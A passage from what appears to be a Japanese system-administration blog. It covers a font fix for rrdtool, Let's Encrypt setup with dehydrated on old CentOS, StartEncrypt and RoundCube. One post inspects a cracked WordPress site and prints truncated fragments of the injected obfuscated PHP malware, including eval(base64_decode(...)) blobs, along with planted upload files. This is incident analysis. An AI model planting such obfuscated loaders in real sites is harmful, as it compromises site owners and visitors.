CentOS7環境でのmunin/rrdtoolの文字化けはvlgothic-fontsで対処


CentOS7環境でmuninを使ったら、文字化けっぽいものが・・・
何が原因なのかわからなかったので、とりあえず切り分けのために、以前作った「IIJmioクーポンスイッチAPIを使って使用量グラフ作成」のrrdtoolをCentOS7環境で実行してみた

rrdtool graph test-year.png --imgformat=PNG \
--height=300 \
--width=600 \
--lower-limit=0 \
--end now --start end-14months \
--vertical-label "MB" \
--x-grid WEEK:1:MONTH:1:MONTH:1:0:%m/%d \
--units-exponent 0 \
--title="IIJmioの1年分使用量" \
DEF:SIM1C=hdo~.rrd:withCoupon:LAST \
DEF:SIM1N=hdo~.rrd:withoutCoupon:LAST \
DEF:SIM2C=hdo~.rrd:withCoupon:LAST \
DEF:SIM2N=hdo~.rrd:withoutCoupon:LAST \
DEF:SIM3C=hdo~.rrd:withCoupon:LAST \
DEF:SIM3N=hdo~.rrd:withoutCoupon:LAST \
DEF:SIM4C=hdo~.rrd:withCoupon:LAST \
DEF:SIM4N=hdo~.rrd:withoutCoupon:LAST \
DEF:SIM5C=hdo~.rrd:withCoupon:LAST \
DEF:SIM5N=hdo~.rrd:withoutCoupon:LAST \
CDEF:SIM1=SIM1C,SIM1N,+ \
CDEF:SIM2=SIM2C,SIM2N,+ \
CDEF:SIM3=SIM3C,SIM3N,+ \
CDEF:SIM4=SIM4C,SIM4N,+ \
CDEF:SIM5=SIM5C,SIM5N,+ \
LINE2:SIM1#0000FF:"SIM1" \
LINE2:SIM2#00FFFF:"SIM2" \
LINE2:SIM3#00FF00:"SIM3" \
LINE2:SIM4#F00F00:"SIM4" \
LINE2:SIM5#FFFF00:"SIM5"

すると下記のように「IIJmioの1年分使用量」のうち日本語文字列である「の」「年分使用量」が化けている。

では、何を追加インストールすればいいのか?
CentOS5環境では「fonts-japanese」であった。
しかし、CentOS7環境ではこのパッケージ名は存在していない。

CentOS5環境でのパッケージ情報を確認

# yum info fonts-japanese
Loaded plugins: fastestmirror, priorities
base                                                                  3667/3667
Installed Packages
Name       : fonts-japanese
Arch       : noarch
Version    : 0.20061016
Release    : 4.el5
Size       : 40 M
Repo       : installed
Summary    : フリーな日本語のビットマップ/TrueType フォント
License    : Distributable
Description: This package provides the free Japanese Bitmap/TrueType fonts.
#

そして、CentOS7環境でTrueTypeで検索してみる。

# yum search "TrueType"
読み込んだプラグイン:fastestmirror, langpacks
Loading mirror speeds from cached hostfile
 * base: www.ftp.ne.jp
 * epel: ftp.jaist.ac.jp
 * extras: www.ftp.ne.jp
 * updates: www.ftp.ne.jp
============================ N/S matched: TrueType =============================
SDL2_ttf.x86_64 : TrueType font rendering library for SDL2
SDL_ttf.x86_64 : Simple DirectMedia Layer TrueType Font library
baekmuk-ttf-batang-fonts.noarch : Korean Baekmuk TrueType Batang typeface
baekmuk-ttf-dotum-fonts.noarch : Korean Baekmuk TrueType Dotum typeface
baekmuk-ttf-fonts-common.noarch : Common files for Korean Baekmuk TrueType fonts
baekmuk-ttf-fonts-ghostscript.noarch : Ghostscript files for Korean Baekmuk
                                     : TrueType fonts
baekmuk-ttf-gulim-fonts.noarch : Korean Baekmuk TrueType Gulim typeface
baekmuk-ttf-hline-fonts.noarch : Korean Baekmuk TrueType Headline typeface
cjkuni-ukai-fonts.noarch : Chinese Unicode TrueType font in Kai face
cjkuni-uming-fonts.noarch : Chinese Unicode TrueType font in Ming face
libfonts.noarch : TrueType Font Layouting
mftrace.x86_64 : Utility for converting TeX bitmap fonts to Type 1 or TrueType
               : fonts
sazanami-fonts-common.noarch : Common files for Sazanami Japanese TrueType fonts
sazanami-gothic-fonts.noarch : Sazanami Gothic Japanese TrueType font
sazanami-mincho-fonts.noarch : Sazanami Mincho Japanese TrueType font
ttembed.x86_64 : Remove embedding limitations from TrueType fonts
ttf2pt1.x86_64 : TrueType to Adobe Type 1 font converter
ttmkfdir.x86_64 : Utility to create fonts.scale files for truetype fonts
vlgothic-fonts.noarch : Japanese TrueType font
vlgothic-p-fonts.noarch : Proportional Japanese TrueType font

  Name and summary matches only, use "search all" for everything.
#

「vlgothic-fonts.noarch : Japanese TrueType font」が怪しそうなので「yum install vlgothic-fonts.noarch」を実行してインストール。

そして、rrdtoolsを再実行して生成した画像が↓

というわけで、CentOS7環境でmunin/rrdtoolsで日本語文字列が化けるときは「vlgothic-fonts」をインストールすればよい、ということがわかった。

2022/05/13追記:Oracle Linux8の場合、vlgothic-fontsはEPEL収録になっていたため、「oracle-epel-release-el8」をインストールしたあとに「vlgothic-fonts」をインストールすることになる。

クラックされたwordpressを見てみた



ページが開けない、というので、調べてみたら、クラックされたwordpressだったので、いろいろファイルをのぞいてみた記録

ざらっと調べてみたけど、被害範囲がでかすぎたので、最初から作ってもらうしかないです、という回答となりました。

・index.php に下記のような文字列が埋め込まれていた

$GLOBALS['_502176623_']=Array(base64_decode('ZXJyb3Jf' .'cm' .'V' .'wb3' .'J0aW5' .'n'),base64_decode('cHJlZ' .'19tYXRj' .'aA=' .'='),base64_decode('cHJlZ19' .'y' .'Z' .'XBsYW' .'Nl'),base64_decode('c3' .'RycG9' .'z'),base64_decode('' .'bWQ1'),base64_decode('ZnVuY' .'3Rp' .'b25fZXhpc3Rz'),base64_decode('Y3' .'Vy' .'bF9pbml' .'0'),base64_decode('Y' .'3Vyb' .'F9zZ' .'XRvcH' .'Q='),base64_decode('Y' .'3Vyb' .'F9zZXRv' .'cHQ='),base64_decode('Y' .'3V' .'yb' .'F9zZX' .'R' .'vcHQ'
<略>
+50)){echo $_8;}}elseif(@$GLOBALS['_502176623_'][13](_1644837808(1091))== round(0+0.25+0.25+0.25+0.25)){echo@$GLOBALS['_502176623_'][14]($_6);}}
//###==###

・wp-config.php 下記のようなものが数箇所に埋め込まれていた

eval(base64_decode("aWYgKCFkZWZpbmVkKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JykpCnsKZGVmaW5lKCdBTFJFQURZX1JVTl8xYmMyOWIzNmYzNDJhODJhYWY2NjU4Nzg1MzU2NzE4JywgMSk7CgogJGF1YnRvcSA9IDE2MDU7IGZ1bmN0aW9uIHh1Y3dxbXIoJHRidmRoLCAka29pbW5nbHcpeyRuanpuZXhxcSA9ICcnOyB
<略>
neCc9PidDJywgJ3onPT4nMCcpOwpldmFsLypkeXNwZiovKHh1Y3dxbXIoJGp5Z3h0c2IsICRxemlmeGY
pKTsKfQ=="));

・wp-content/uploads/ にいろんなものがアップロードされている

[root@host wp-content]# ls -la uploads/
合計 56
drwxr-xr-x  5 apache apache  4096 12月  3 11:45 2016 .
drwxr-xr-x  7 apache apache  4096 11月  7 12:50 2016 ..
-rw-r--r--  1 apache apache     0  5月  2 09:41 2016 1.php
drwxr-xr-x  4 apache apache  4096 10月 10 22:31 2016 2015
drwxr-xr-x 12 apache apache  4096 10月  1 01:17 2016 2016
-rw-r--r--  1 apache apache 21377  5月  2 09:41 2016 dbc.php.suspected
-rw-r--r--  1 apache apache  1367 11月  7 12:50 2016 jpgjsk.php.suspected
-rw-r--r--  1 apache apache  4902  5月  2 09:41 2016 mates.php.suspected
drwxr-xr-x  2 apache apache  4096 12月 13 23:58 2016 ps_auto_sitemap
[root@host wp-content]#

・wp-admin/.bt と wp-admin/css/.bt というファイルが作成され、おそらくアクセス許可IPが記載されている
ファイル末尾に追記されるわけではなく、ソートされた順序で増えていっていた

0.5.2.2
0.83.4.1
100.2.201.8
100.35.50.239
100.43.80.14
<略>
99.98.120.94
99.98.2.226
#version:1

・いろんなphpの冒頭が下記のように書き換えられている

<?php





                                      $h00d = 846;$GLOBALS['a287']=Array();globa
l$a287;<略>
$a287['h6d2'][65]]);}exit();} ?><?php
/**

・あと、データベースにいろいろデータが突っ込まれていた

Let’s Encrypt対抗サービスのStart Encrypt



StartSSLというSSL証明書発行サービスをやっているStartComが、Let’s Encrypt対抗サービスとなる「Start Encrypt」というものを開始しようとしています。

プレスリリース「StartCom launches a new service – StartEncrypt」(2016/06/06)

(2016/08/08現在、「Coming soon」表記のままなのが謎・・・公開当初はクライアントバイナリも公開されてた気がするのですが・・・)

Let’s Encryptとの違いはちゃんとあります。
https://docs.google.com/spreadsheets/d/1fd43Gx6Xtn_Cz5ivrl-qJi_Ze1GGBufuTXPpyw-ZgjI/edit?usp=sharing

(表へのリンク)


2017/01/12追記

なんか開始早々巨大なバグがあったらしく、サービスが停止してしまったそうで、いまはページも消失してますね
「StartSSL Free」という3年間有効で10ドメインまでというやつをやってますが、それはAPI対応とか無い感じですね

CentOS5などの古い環境でLet’s Encryptを使う(2017/02/21更新)


フリーで90日有効のSSL証明書を取得できる「Let’s Encrypt

90日毎に更新する必要があるため、プログラムを実行して証明書の取得ができるようになっている。

公式のプログラム(クライアント)は「https://github.com/certbot/certbot」にあるが、CentOS6以降やUbuntu向けに作られており、古いPythonの環境であるCentOS5では動作させるのが大変である。

公式以外のクライアントを探すと、「List of Client Implementations」に互換クライアント一覧がある。

いろいろある中で、2016年1月時点では唯一のbash環境用のスクリプトだった「Shell script client: dehydrated (旧名letsencrypt.sh) 」を選択。(なお、2017年2月現在では他にも3つ出ている。)

dehydratedは、「opensslコマンド」「curlコマンド」「sedコマンド」「grepコマンド」があれば動作する。

— 2018/07/20 追記開始 —
CentOS7環境で公式のcertbotを使って運用しようとしたのですが、alias FQDNを増やす際に別の設定が作られてしまうとか、管理性があまりよろしくなかったので、CentOS7環境でも制御しやすいdehydratedを使ってます。
— 2018/07/20 追記終わり —

(1) 「git clone https://github.com/lukas2511/dehydrated.git」でプログラム取得

(2) SSL証明書発行時に使用する一時ディレクトリの設定

SSL証明書発行時、Let’s Encryptサーバから「http://ドメイン名/.well-known/acme-challenge/~」というアクセスが行われる。その際のファイルを置く場所を用意する。

ここでは/var/www/dehydratedディレクトリに置くことにする。

1. /var/www/dehydratedディレクトリ作成
2. Aapacheの設定で「/etc/httpd/conf.d/dehydrated.conf」を作成

Alias /.well-known/acme-challenge /var/www/dehydrated
<Directory /var/www/dehydrated/>
</Directory>

3. Aapacheの再起動

(3) configを作成

docs/examples/config を元にconfigを作成する。

基本的には初期状態のままで良いが、2で/var/www/dehydrated以外を指定した場合に下記の記述を変更する

WELLKNOWN="/var/www/dehydrated/"

(4) domains.txtを作成

SSL証明書を発行したいドメインをスペース区切りで列挙する。

blog.osakana.net blog2.osakana.net

(5) dehydratedを実行して、まずはアカウント登録

# ./dehydrated --config /~/dehydrated/config --register --accept-terms
# INFO: Using main config file ./config
+ Generating account key...
+ Registering account key with ACME server...
+ Done!
#

実行すると下記の様にaccountsディレクトリが作成される。

# ls -F
CHANGELOG  README.md  config       docs/        test.sh*
LICENSE    accounts/  dehydrated*  domains.txt
# ls -F accounts/
~~~/
#

(6) もう一度、dehydratedを実行してSSL証明書を発行

# ./dehydrated --config ./config --cron
# INFO: Using main config file ./config
Processing ~ ~ ~
 + Signing domains...
 + Creating new directory ./certs/blog.osakana.net ...
 + Generating private key...
 + Generating signing request...
 + Requesting challenge for ~...
 + Requesting challenge for ~...
<略>
 + Responding to challenge for ~...
 + Challenge is valid!
 + Responding to challenge for ~...
 + Challenge is valid!
 + Requesting certificate...
 + Checking certificate...
 + Done!
 + Creating fullchain.pem...
 + Done!
#

下記の様にcertsディレクトリ以下にファイルが作成される。

# ls -F
CHANGELOG  README.md  certs/  dehydrated*  domains.txt
LICENSE    accounts/  config  docs/        test.sh*
# ls -F certs/
~/
# ls -F certs/~/
cert-xxxxxxxxxx.csr  chain-xxxxxxxxxx.pem      privkey-xxxxxxxxxx.pem
cert-xxxxxxxxxx.pem  chain.pem@                privkey.pem@
cert.csr@            fullchain-xxxxxxxxxx.pem
cert.pem@            fullchain.pem@
[root@niselog dehydrated]#

(7) Apache設定内のSSLファイルの指定では、作成されたファイルのうち、fullchain.pemとprivkey.pem,chain.pemを指定する。

SSLCertificateFile /~/certs/~/fullchain.pem
SSLCertificateKeyFile /~/certs/~/privkey.pem
SSLCertificateChainFile /~/certs/~/chain.pem

なお、最近は問題無いが、バージョンアップしていない古いブラウザでは、「SSLCertificateChainFile /~/certs/~/chain.pem」を抜いた2行で設定するとエラーが発生する場合があるので注意が必要。

(8) httpsアクセスをして問題無いことを確認

ブラウザからhttpsアクセスを行い、想定通りにアクセスできることを確認。

(9) crontabに、dehydratedを定期的に実行する設定を追加

毎月1日と15日に実行する処理

# crontab -l
0 3 1,15 * * /~/dehydrated/dehydrated --config /~/dehydrated/config --cron >> /tmp/ssl-update.log 2>&1
#

以下は旧バージョン

 


フリーで90日有効のSSL証明書を取得できる「Let’s Encrypt

 

90日毎に更新する必要があるため、プログラムを実行して証明書の取得ができるようになっている。
公式のプログラム(クライアント)は「https://github.com/letsencrypt/letsencrypt」にあるが、CentOS6以降やUbuntu向けに作られており、古いPythonの環境であるCentOS5では動作させるのが大変である。

公式以外のクライアントを探すと、「List of Client Implementations」に互換クライアント一覧がある。

いろいろある中で、一番制約が薄そうな「Shell script (and a little Perl) client: https://github.com/lukas2511/letsencrypt.sh」を選択。
「opensslコマンド」「curlコマンド」「sedコマンド」があれば動作する。
perlはこの一覧が作られた当初は必要だったようだが、2016/01/04時点では不要。公式のletsencryptコマンドから移行する場合に使用するimport-account.plコマンドを使う時だけ必要なようだ。

1. 「git clone https://github.com/lukas2511/letsencrypt.sh」でプログラム取得
2. SSL証明書発行時に使用する一時ディレクトリの設定
 SSL証明書発行時、Let’s Encryptサーバから「http://ドメイン名/.well-known/acme-challenge/~」という
 アクセスが行われる。その際のファイルを置く場所を用意する。
 ここでは/var/www/letsenryptディレクトリに置くことにする。
 (1) /var/www/letsencryptディレクトリ作成
 (2) Aapacheの設定で「/etc/httpd/conf.d/letsencrypt.conf」を作成

Alias /.well-known/acme-challenge /var/www/letsencrypt
&lt;Directory /var/www/letsencrypt/&gt;
&lt;/Directory&gt;


 (3) Aapacheの再起動

3. config.shを作成
 config.sh.exampleを元にconfig.shを作成
 といっても、下記の行を書くだけ
 

WELLKNOWN="/var/www/letsencrypt/"

4. domain.txtを作成
 SSL証明書を発行したいドメインをスペース区切りで列挙する。
 

blog.osakana.net blog2.osakana.net

5. letsencrypt.shを実行

# ./letsencrypt.sh --config /~/letsencrypt.sh/config.sh --cron
Using config file /~/letsencrypt.sh/config.sh
Processing blog.osakana.net with SAN: blog2.osakana.net
 + Signing domains...
 + make directory /~/letsencrypt.sh/certs/blog.osakana.net ...
 + Generating private key...
 + Generating signing request...
 + Requesting challenge for blog.osakana.net...
 + Responding to challenge for blog.osakana.net...
 + Challenge is valid!
 + Requesting challenge for blog2.osakana.net...
 + Responding to challenge for blog2.osakana.net...
 + Challenge is valid!
 + Requesting certificate...
 + Checking certificate...
 + Creating fullchain.pem...
 + Done!
#

下記の様にcertsディレクトリ以下にファイルが作成される。

# ls -F
certs/             domains.txt          import-certs.sh*  private_key.pem
config.sh          domains.txt.example  letsencrypt.sh*   README.md
config.sh.example  import-account.pl*   LICENSE           test.sh*
# ls -F certs/
blog.osakana.net/
# ls -F certs/blog.osakana.net/
cert-xxxxxxxxxx.csr  chain-xxxxxxxxxx.pem      privkey-xxxxxxxxxx.pem
cert-xxxxxxxxxx.pem  chain.pem@                privkey.pem@
cert.csr@            fullchain-xxxxxxxxxx.pem
cert.pem@            fullchain.pem@
#

Apache設定内のSSLファイルの指定では、作成されたファイルのうち、fullchain.pemとprivkey.pem,chain.pemを指定する。

SSLCertificateFile /~/certs/~/fullchain.pem
SSLCertificateKeyFile /~/certs/~/privkey.pem
SSLCertificateChainFile /~/certs/~/chain.pem

ちなみに、「SSLCertificateChainFile /~/certs/~/chain.pem」を抜いた2行で設定するとChromeやIEでは問題無いが、Firefoxでのみ「sec_error_unknown_issuer」のエラーがでる。
(なお、fullchain.pemとprivkey.pemを指定しているのは、標準のletsencryptを使った場合に生成されるapache用cocnfigファイルで使われていたから)


おまけ:CentOS4で使用する場合に必要になること

 

・curlの証明書問題
 → /usr/share/ssl/certs/ca-bundle.crt を更新する
  → OpenSSLが古いためにエラーが発生
   「curl: (35) error:0D0890A1:asn1 encoding routines:ASN1_verify:unknown message digest algorithm」
・OpenSSLが古い
 → /usr/local/openssl1とかに新しいバージョンをインストールして回避
  letsencrypt.shの冒頭に、PATHとLD_LIBRARY_PATHを定義して、こちらを優先するように設定
 → こっちのOpenSSLを使うcurlをコンパイル
・trコマンドが古い
 letsencrypt.shを実行すると「tr: オプションが違います — _」というエラー
 → 新しいバージョンのtrが含まれるcoreutilsを/usr/localにインストール
・bashコマンドが古い
 環境変数操作で「SAN+=~」ということをやってるがCentOS4のBASHでは非対応
 letsencrypt.shを修正して、CentOS4でも使える操作に変更
 「SAN+=”DNS:${altname}, “」→「SAN=”${SAN}DNS:${altname}, “」

・下記のエラーでうまく行かない

# ./letsencrypt.sh --cron --config /~/letsencrypt.sh/config.sh
Using config file /~/letsencrypt.sh/config.sh
Processing xxxxxx with SAN: xxxxx
 + Signing domains...
 + Generating private key...
 + Generating signing request...
 + Requesting challenge for xxxxxx...
  + ERROR: An error occurred while sending post-request to https://acme-v01.api.letsencrypt.org/acme/new-authz (Status 403)

Details:
{"type":"urn:acme:error:unauthorized","detail":"No registration exists matching provided key","status":403}  + Error: Can't retrieve challenges ()
#


 → 失敗した時のcertが悪さをしていた
  certsディレクトリの中身とprivate_key.pemを削除して再実行したところ成功

RoundCubeは次の1.1でIE8とFirefox 3.6のサポートを切る



Webmailソフトの「RoundCube」に、version 1.0.1が出ていたのに気がついて、アップデート。

ついでに、「System Requirements」を確認・・・

Internet Explorer 6 (Windows 2000/XP) – not supported since Roundcube 1.1
Internet Explorer 7 (Windows XP) – requires legacy_browser plugin since Roundcube 1.1
Internet Explorer 8 (Windows XP/7) – requires legacy_browser plugin since Roundcube 1.1
Firefox 3.6 (Windows XP, Linux) – requires legacy_browser plugin since Roundcube 1.1

おや?
次のバージョン 1.1から、古いブラウザのサポートをやめるようです。

RoundCube 1.1から、内部で使用しているjQueryのバージョンを2.xに変更するようで、そのjQuery 2.xがこれらのブラウザをサポートしていない(jQuery 2.0 Releasedより)ということに起因する変更点である模様です。

とりあえずは、legacy_browser pluginを使うという、救済処置がIE6以外にはあるようです。